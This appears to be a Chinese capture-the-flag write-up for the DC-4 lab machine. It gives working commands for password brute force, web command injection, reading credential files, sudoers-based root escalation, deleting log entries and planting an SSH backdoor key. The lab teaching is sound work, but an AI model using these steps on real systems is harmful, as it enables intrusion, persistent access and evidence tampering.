前言:本次靶机相对于DC-3来说难度要低,但是这里需要的是信息搜集的能力,弱口令爆破进去之后怎么找到有用的文件是一大难点。


免责声明
重要提醒:本文档/文章仅限于合法的学习与研究目的,严禁用于任何非法、违规或损害他人权益的活动
本文档所有技术演示仅在本地虚拟机环境(DC-4靶机)中进行,不涉及任何真实在线系统或商业游戏。作者不对任何读者因误用本文内容而引发的账号封禁、数据丢失、法律追责或其他后果承担任何责任。
如本文无意中涉及任何可被滥用的技术细节,纯属客观描述现有公开机制,不提供可执行方案,也不承担后续责任。
阅读/使用本文即表示您已完全理解并同意以上条款。如不同意,请立即停止阅读。
 


一.信息搜集其一

依旧两条命令:

nmap -sn 10.254.85.0/24 

nmap -sV -p- 10.254.85.123

这里可以看到开了ssh,那么后面应该会用到:

先浏览器看一眼长什么样:

直接是一个登录界面,而且只有一个nginx,扫个目录看看,没出来啥,基本上都是404,403那个是要登录的:

不会要弱口令爆破吧...)

爆破还是最后再用,找找网上有没有关于这个版本的漏洞,看到一个CVE2017但是是中危的:

Nginx 的 ngx_http_mp4_module 模块中存在一个漏洞。如果攻击者上传或触发服务器处理一个特制的 MP4 文件,可能会导致 Nginx 的工作进程进入无限循环崩溃,甚至可能造成内存信息泄露

  • 利用条件

    1. 模块开启: Nginx 在编译时必须开启了 ngx_http_mp4_module 模块(这个模块默认不会被编译进 Nginx,需要显式指定)。

    2. 功能使用:在 Nginx 的配置文件(nginx.conf)中,必须存在处理 .mp4 文件请求的配置指令(例如 mp4 指令)。

    3. 攻击路径:攻击者需要能够让服务器处理一个恶意的 MP4 文件。这意味着要么网站允许用户上传文件,要么攻击者能通过其他方式(如越权访问)让服务器解析这个文件。

  • 风险评级:该漏洞的综合评级为 6.1分(中危)。考虑到上述苛刻的利用条件,在常规配置下,服务器受此漏洞影响的可能性相对较低。

metasploit找一下:

确实没找到,那么这里好像只能爆破了,网上找个常用字典【实在不行GitHub一搜一大堆,或者直接上rockyou】,一般啥都没提示的用户名大概率是admin,两种方法选一种爆破一下即可,先是hydra:

hydra -l admin -P rockyou.txt 10.254.85.123 http-post-form "/login.php:username=^USER^&password=^PASS^:S=logout" -F
参数 含义 说明
-l admin 用户名 使用 admin 作为固定的用户名
-P rockyou.txt 密码字典 从 rockyou.txt 文件中读取密码列表
10.254.85.123 目标IP 要爆破的目标服务器地址

第一部分:路径 /login.php(dirsearch能扫出来的)

  • 登录表单提交的目标 URL 路径

第二部分:POST 数据 username=^USER^&password=^PASS^

  • username=^USER^^USER^ 是 Hydra 的占位符,会被 -l 指定的 admin 替换

  • password=^PASS^^PASS^ 占位符,会被密码字典里的每个密码替换

  • &:连接多个 POST 参数

第三部分:成功/失败判断 S=logout

  • S=logout:表示登录成功后,服务器返回的响应中包含 logout 这个字符串

  • Hydra 会检查每个请求的响应,如果看到 logout,就认为登录成功,停止爆破

想简单一点的话直接BP里面爆破即可:

爆出来的密码为happy,登录一下:


二.信息搜集其二

看一看到我们选择命令之后点击run就会执行,前端源代码里面看不出啥,那就转到BP:

对radio的输入进行修改即可执行相应命令

然后这里面尝试输入了几个命令没找到啥有用的,直接上全局搜索:

find / -iname "*password*" 2>/dev/null

找到看起来很有用的两个:

这里有两个文件分别为dat(数据文件)和bak(备份文件),而且这个bak它是在/home目录下的jim的路径中,那么我们就可以先看一眼用户:

cat /etc/passwd

看到有三个用户,其中就有我们的jim,因为之前我们是以admin登录的,所以可以直接查看文件内容:

cat /home/jim/backups/old-passwords.bak

发现了一堆密码,并且文件名称是old-passwd,很可能后面用ssh登录的密码就是这里面的,先复制下来,kali里面nano写一下:

nano passwd.txt

用hydra进行ssh爆破:

hydra -l jim -P passwd.txt ssh://10.254.85.123

爆破出密码为jibril04,用ssh进行登录:

ssh jim@10.254.85.123


三.信息搜集其三

成功进入,并且这里提示到了一个NEW MAIL,说明我们要找到mail文件,先不搜全局尝试自己找找,发现一个标红的文件,但好像没啥用(虽然是所有人可以读写):

没找到啥,看看SUID或者-l试一下:

find / -perm -u=s -type f 2>/dev/null  

sudo -l

没什么可以用到的SUID,并且这里也说明了jim不能进行提权,这样的话路就堵死了,只能转到之前提示的那个mail中,说不定有什么再等着我们,全局搜索一下:

find / -name "*mail*" 2>/dev/null

但是这里又有个问题,跳出来一堆文件,好像没找到啥有用的,没招了网上看了别的师傅写的:

/var/mail 是一个系统目录,用于存储用户的邮件。在某些 Linux 发行版(如 Ubuntu)中,该目录被符号连接到 /var/spool/mail 目录。在邮件服务器中,通常使用此目录来存储接收到的电子邮件,然后通过 IMAP 或 POP3 等协议提供给用户。当系统接收到邮件时,邮件服务器会自动将邮件写入到相应的用户邮箱文件中,文件名通常与用户名相同。 在某些系统中,用户可以使用 mail 或其他电子邮件客户端软件读取该目录中的邮件。如果您在系统中配置了邮件服务器,则通常会定期清除该目录中的过时邮件以释放磁盘空间。因此,如果您要查找过去一段时间内丢失的电子邮件,请检查该目录中的 email 文件。

竟然是这样的,看来我还是认知太浅薄了,按照上面的一翻果然直接拿到了【这里坑点是它文件名不是mail而是jim,所以直接find找不到(╯▔皿▔)╯】

邮件里讲的就是charles要去休假了,有事的话就用他的账号进行操作,密码也是直接给了jim,这样的话就能su了


四.提权

sudo -l看到这么一个东西:

teehee 是 tee 命令的一个变种,功能类似:

  • 从标准输入读取数据

  • 同时输出到标准输出和文件

  • teehee 通常有追加模式>>)的特性

我们可以输入以下命令:

# 让 charles 可以无密码执行所有命令
echo 'charles ALL=(ALL:ALL) NOPASSWD:ALL' | sudo teehee -a /etc/sudoers

1. echo 'charles ALL=(ALL:ALL) NOPASSWD: ALL'
输出一段文本,内容是 sudoers 配置规则

2. |(管道符)
将前面 echo 输出的内容,传递给后面的命令

3. sudo teehee -a /etc/sudoers
sudo:以 root 权限执行(因为修改 sudoers 需要 root)

teehee:写入工具,类似 tee 命令

-a:append(追加) 模式,在文件末尾添加内容,不会覆盖原有内容

/etc/sudoers:sudo 的配置文件,定义了哪些用户可以用 sudo 做什么

简单来讲就是:用户 charles 可以在任何主机上,以任何用户的身份,不需要密码,执行任何命令

最后这里还有个细节点:

命令 需要什么 检查什么 能否成功
su root root 的密码 root 账户密码 ❌ 不知道密码
sudo su root charles 的 sudo 权限 charles 在 sudoers 中的配置 ✅ 有 NOPASSWD 权限
sudo -i charles 的 sudo 权限 charles 在 sudoers 中的配置 ✅ 直接获得 root shell
sudo bash charles 的 sudo 权限 charles 在 sudoers 中的配置 ✅ 直接获得 root shell

得到flag o(* ̄▽ ̄*)ブ


五.痕迹清理

同样拿到root权限之后要进行痕迹清理

清理web日志

这里是nginx:

# 用 sed 命令删除包含我们IP的行
sed -i '/10.254.85.123/d' /var/log/nginx/access.log
 
# 同样处理 error.log
sed -i '/10.254.85.123/d' /var/log/nginx/error.log

清理系统日志

# 删除 auth.log 中包含 10.254.85.123 的所有行
sed -i '/10.254.85.123/d' /var/log/auth.log
 
# 删除 syslog 中包含 10.254.85.123 的所有行
sed -i '/10.254.85.123/d' /var/log/syslog

清理历史记录

history -c
 
#临时禁用历史记录
set +o history
 
临时关闭当前 shell 的历史记录功能,之后的所有命令都不进内存,自然也不会写文件。

六.植入持久化后门

这里详细学习一下如何植入SSH持久化后门

我们首先要在kali中新开一个终端,输入以下命令:

# 在 Kali 上执行
cd ~/.ssh
ssh-keygen -t rsa -b 4096 -f dc4_backdoor
# 直接回车两次(不设密码)

# 查看生成的文件
ls -la ~/.ssh/dc4_backdoor*

这里~/.ssh 是 SSH 配置文件目录,其中:
~ 代表当前用户的家目录(home directory)
在 Kali 中,~ 就是 /home/kali/
.ssh 是一个隐藏目录(以点开头)
所以 cd ~/.ssh 等同于 cd /home/kali/.ssh

查看公钥内容并进行复制,因为之后我们要把公钥放到靶机上面:

# 在 Kali 上查看公钥
cat ~/.ssh/dc4_backdoor.pub

下面按着做就行:

# 建立 .ssh 目录存在
mkdir -p /root/.ssh
chmod 700 /root/.ssh  #700 是 SSH 服务认可的 “安全权限”,既保证 root 能操作,又杜绝其他用户接触

# 添加公钥(粘贴你在 Kali 上看到的公钥内容)
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQ..." >> /root/.ssh/authorized_keys
# 注意:要粘贴完整的公钥内容

# 设置权限
chmod 600 /root/.ssh/authorized_keys  #600 是 SSH 要求的最低安全权限(无执行权限,因为这是文本文件,不需要执行)

# 验证
cat /root/.ssh/authorized_keys

能看到公钥内容之后再回到我们之前新开的kali终端输入如下命令:

# 从 Kali 连接
ssh -i ~/.ssh/dc4_backdoor root@10.254.85.123

# 应该直接登录成功,不需要密码

大功告成~


柒.原理

 1.SSH 公私钥认证的核心原理

 非对称加密(Asymmetric Encryption)

SSH 使用 RSA/ECDSA/ED25519 等非对称加密算法,核心是数学上关联的一对密钥

密钥 特性 谁持有
私钥 保密,永不传输 客户端(你的 Kali)
公钥 公开,可以从私钥推导 服务器(DC-4)

数学特性

  • 公钥加密的数据,只能用对应的私钥解密

  • 私钥签名的数据,只能用对应的公钥验证


2. SSH 认证的完整流程

阶段一:密钥对生成

ssh-keygen -t rsa -b 4096 -f ~/.ssh/dc4_backdoor

生成过程:

  1. 算法生成两个大素数,通过数学运算产生一对密钥

  2. 私钥 dc4_backdoor:保存在我们的 Kali 上,永远不离开我们的机器

  3. 公钥 dc4_backdoor.pub:要放到服务器上

阶段二:部署公钥

# 在 DC-4 服务器上
echo "公钥" >> /root/.ssh/authorized_keys

此时服务器知道了:"持有这个公钥对应私钥的人,就是授权用户"

阶段三:认证过程

当我们执行 ssh -i ~/.ssh/dc4_backdoor root@10.254.85.123 时:

┌─────────────┐                                    ┌─────────────┐
│   Kali      │                                    │   DC-4      │
│  (客户端)    │                                    │  (服务器)    │
└─────────────┘                                    └─────────────┘
       │                                                   │
       │ 1. 连接请求                                        │
       │──────────────────────────────────────────────────>│
       │                                                   │
       │ 2. 服务器发送挑战:                                 │
       │   "你是谁?请证明你持有 root@dc-4 对应的私钥"        │
       │<──────────────────────────────────────────────────│
       │                                                   │
       │ 3. 客户端用私钥签名一个随机数                        │
       │   (只有持有私钥的人才能正确签名)                     │
       │──────────────────────────────────────────────────>│
       │                                                   │
       │ 4. 服务器用公钥验证签名                             │
       │   - 用 root/.ssh/authorized_keys 里的公钥解密      │
       │   - 比对随机数是否匹配                              |
       │   - 匹配 → 认证成功                                |
       │<──────────────────────────────────────────────────│
       │                                                   │
       │ 5. 建立加密会话,登录成功                          │
       │──────────────────────────────────────────────────>│

3.为什么安全?

私钥永不传输

  • 整个过程中,私钥从未离开过你的 Kali

  • 网络传输的只是加密的挑战和签名,无法逆向推导私钥

数学保证

  • RSA 基于大数分解难题:知道公钥(n, e)无法推导私钥(d)

  • 只有持有私钥的人才能正确解密挑战

防重放攻击

  • 每次认证的随机数都不同

  • 即使截获本次认证的签名,下次也无法重用


4. authorized_keys 文件的作用

cat /root/.ssh/authorized_keys
# ssh-rsa AAAAB3NzaC1yc2EAAA... kali@kali

这个文件是授权列表

  • 每一行是一个公钥

  • SSH 服务器启动时加载到内存

  • 认证时,服务器会尝试用每个公钥去验证客户端的签名

  • 只要有一个匹配,认证成功


5. 为什么 chmod 很重要?

chmod 700 /root/.ssh        # 只有 root 能访问
chmod 600 /root/.ssh/authorized_keys  # 只有 root 能读写

SSH 服务器会检查:

  • 如果 .ssh 目录其他用户可写,任何人都可以替换我们的公钥 → 安全风险

  • 如果 authorized_keys 其他用户可读,攻击者可以获取我们的公钥 → 虽然公钥本身不敏感,但配合其他信息可能被利用

  • SSH 为了安全,拒绝使用权限不严格的 authorized_keys 文件


八.总结

其实最后植入ssh后门这里只是配置问题所以过程非常顺利,如果服务器禁用了公钥认证,修改了SSH配置啥的就还要进行相应修改,因为这里不是重点就不赘述了。本次打靶也是认识到了信息搜集的重要性

"The best vulnerability scanner is the one between your ears, fueled by good information."

—— 最好的漏洞扫描器是你大脑,而燃料是充分的信息

Logo

AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。

更多推荐